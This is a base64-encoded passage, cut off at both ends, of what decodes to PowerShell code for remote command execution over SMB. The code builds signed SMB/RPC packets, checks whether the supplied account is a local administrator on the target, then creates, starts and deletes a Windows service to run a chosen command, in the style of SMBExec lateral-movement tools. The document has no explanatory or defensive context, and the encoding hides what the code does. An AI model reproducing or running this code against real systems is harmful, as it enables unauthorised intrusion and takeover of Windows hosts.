AgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbiA9ICRzZXNzaW9uX2tleSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJFNNQl9jbGllbnRfc3RhZ2VfbmV4dA0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICdPcGVuU0NNYW5hZ2VyVycNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyID0gR2V0LVBhY2tldFNNQkhlYWRlciAweDJmIDB4MTggMHgwNSwweDI4ICRTTUJfdHJlZV9JRCAkcHJvY2Vzc19JRF9ieXRlcyAkU01CX3VzZXJfSUQNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX0ZsYWdzMiJdID0gMHgwNSwweDQ4DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nX2NvdW50ZXIgPSAkU01CX3NpZ25pbmdfY291bnRlciArIDIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kU01CX3NpZ25pbmdfc2VxdWVuY2UgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRTTUJfc2lnbmluZ19jb3VudGVyKSArIDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmluZ19zZXF1ZW5jZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NDTV9kYXRhID0gR2V0LVBhY2tldFNDTU9wZW5TQ01hbmFnZXJXICRTTUJfc2VydmljZV9ieXRlcyAkU01CX3NlcnZpY2VfbGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkU0NNX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1JQQ19kYXRhID0gR2V0LVBhY2tldFJQQ1JlcXVlc3QgMHgwMyAkU0NNX2RhdGEubGVuZ3RoIDAgMCAweDAxLDB4MDAsMHgwMCwweDAwIDB4MDAsMHgwMCAweDBmLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhID0gR2V0LVBhY2tldFNNQldyaXRlQW5kWFJlcXVlc3QgJFNDTV9kYXRhLmxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfZGF0YVsiU01CV3JpdGVBbmRYUmVxdWVzdF9GSUQiXSA9ICRTTUJfRklEDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQ19kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUJfZGF0YS5MZW5ndGggKyAkU0NNX2RhdGEuTGVuZ3RoICsgJFJQQ19kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IEdldC1QYWNrZXROZXRCSU9TU2Vzc2lvblNlcnZpY2UgJFNNQl9oZWFkZXIuTGVuZ3RoICRSUENfZGF0YV9sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbiA9ICRzZXNzaW9uX2tleSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhICsgJFJQQ19kYXRhICsgJFNDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkTUQ1LkNvbXB1dGVIYXNoKCRTTUJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25hdHVyZSA9ICRTTUJfc2lnbmF0dXJlWzAuLjddDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YSArICRSUENfZGF0YSArICRTQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnUmVhZEFuZFhSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2VfbmV4dCA9ICdDaGVja0FjY2VzcycgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgJ0NoZWNrQWNjZXNzJw0KICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMDguLjExMV0pIC1lcSAnMDAtMDAtMDAtMDAnIC1hbmQgW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzg4Li4xMDddKSAtbmUgJzAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwJykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NlcnZpY2VfbWFuYWdlcl9jb250ZXh0X2hhbmRsZSA9ICRTTUJfY2xpZW50X3JlY2VpdmVbODguLjEwN10NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfZXhlY3V0ZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIiRvdXRwdXRfdXNlcm5hbWUgaXMgYSBsb2NhbCBhZG1pbmlzdHJhdG9yIG9uICRUYXJnZXQiICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnQ3JlYXRlU2VydmljZVcnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiJG91dHB1dF91c2VybmFtZSBpcyBhIGxvY2FsIGFkbWluaXN0cmF0b3Igb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSA9IDINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnQ2xvc2VTZXJ2aWNlSGFuZGxlJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMDguLjExMV0pIC1lcSAnMDUtMDAtMDAtMDAnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiJG91dHB1dF91c2VybmFtZSBpcyBub3QgYSBsb2NhbCBhZG1pbmlzdHJhdG9yIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQkV4ZWNfZmFpbGVkID0gJHRydWUNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIlNvbWV0aGluZyB3ZW50IHdyb25nIHdpdGggJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CRXhlY19mYWlsZWQgPSAkdHJ1ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ0NyZWF0ZVNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4MmYgMHgxOCAweDA1LDB4MjggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRTTUJfc2lnbmluZ19zZXF1ZW5jZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFNNQl9zaWduaW5nX2NvdW50ZXIpICsgMHgwMCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduaW5nX3NlcXVlbmNlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU0NNX2RhdGEgPSBHZXQtUGFja2V0U0NNQ3JlYXRlU2VydmljZVcgJFNNQl9zZXJ2aWNlX21hbmFnZXJfY29udGV4dF9oYW5kbGUgJFNNQl9zZXJ2aWNlX2J5dGVzICRTTUJfc2VydmljZV9sZW5ndGggJFNNQkV4ZWNfY29tbWFuZF9ieXRlcyAkU01CRXhlY19jb21tYW5kX2xlbmd0aF9ieXRlcw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNDTV9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUENfZGF0YSA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJFNDTV9kYXRhLmxlbmd0aCAwIDAgMHgwMiwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwYywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlciAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfZGF0YSA9IEdldC1QYWNrZXRTTUJXcml0ZUFuZFhSZXF1ZXN0ICRTQ01fZGF0YS5sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGFbIlNNQldyaXRlQW5kWFJlcXVlc3RfRklEIl0gPSAkU01CX0ZJRA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUENfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YV9sZW5ndGggPSAkU01CX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkUlBDX2RhdGFfbGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ24gPSAkc2Vzc2lvbl9rZXkgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YSArICRSUENfZGF0YSArICRTQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JlYWRBbmRYUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlX25leHQgPSAnU3RhcnRTZXJ2aWNlVycgICANCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICdTdGFydFNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzExMi4uMTE1XSkgLWVxICcwMC0wMC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiU2VydmljZSAkU01CX3NlcnZpY2UgY3JlYXRlZCBvbiAkVGFyZ2V0Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2VydmljZV9jb250ZXh0X2hhbmRsZSA9ICRTTUJfY2xpZW50X3JlY2VpdmVbOTIuLjExMV0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4MmYgMHgxOCAweDA1LDB4MjggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nX2NvdW50ZXIgPSAkU01CX3NpZ25pbmdfY291bnRlciArIDIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFNNQl9zaWduaW5nX3NlcXVlbmNlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkU01CX3NpZ25pbmdfY291bnRlcikgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduaW5nX3NlcXVlbmNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TQ01fZGF0YSA9IEdldC1QYWNrZXRTQ01TdGFydFNlcnZpY2VXICRTTUJfc2VydmljZV9jb250ZXh0X2hhbmRsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTQ01fZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1JQQ19kYXRhID0gR2V0LVBhY2tldFJQQ1JlcXVlc3QgMHgwMyAkU0NNX2RhdGEubGVuZ3RoIDAgMCAweDAzLDB4MDAsMHgwMCwweDAwIDB4MDAsMHgwMCAweDEzLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlciAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CV3JpdGVBbmRYUmVxdWVzdCAkU0NNX2RhdGEubGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfZGF0YVsiU01CV3JpdGVBbmRYUmVxdWVzdF9GSUQiXSA9ICRTTUJfRklEDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUJfZGF0YS5MZW5ndGggKyAkU0NNX2RhdGEuTGVuZ3RoICsgJFJQQ19kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkUlBDX2RhdGFfbGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduID0gJHNlc3Npb25fa2V5ICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkTUQ1LkNvbXB1dGVIYXNoKCRTTUJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmF0dXJlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhICsgJFJQQ19kYXRhICsgJFNDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiVHJ5aW5nIHRvIGV4ZWN1dGUgY29tbWFuZCBvbiAkVGFyZ2V0Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JlYWRBbmRYUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZV9uZXh0ID0gJ0RlbGV0ZVNlcnZpY2VXJyAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzExMi4uMTE1XSkgLWVxICczMS0wNC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICJTZXJ2aWNlICRTTUJfc2VydmljZSBjcmVhdGlvbiBmYWlsZWQgb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CRXhlY19mYWlsZWQgPSAkdHJ1ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiU2VydmljZSBjcmVhdGlvbiBmYXVsdCBjb250ZXh0IG1pc21hdGNoIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJFeGVjX2ZhaWxlZCA9ICR0cnVlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ0RlbGV0ZVNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICB7IA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZihbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRTTUJfY2xpZW50X3JlY2VpdmVbODguLjkxXSkgLWVxICcxZC0wNC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICJDb21tYW5kIGV4ZWN1dGVkIHdpdGggc2VydmljZSAkU01CX3NlcnZ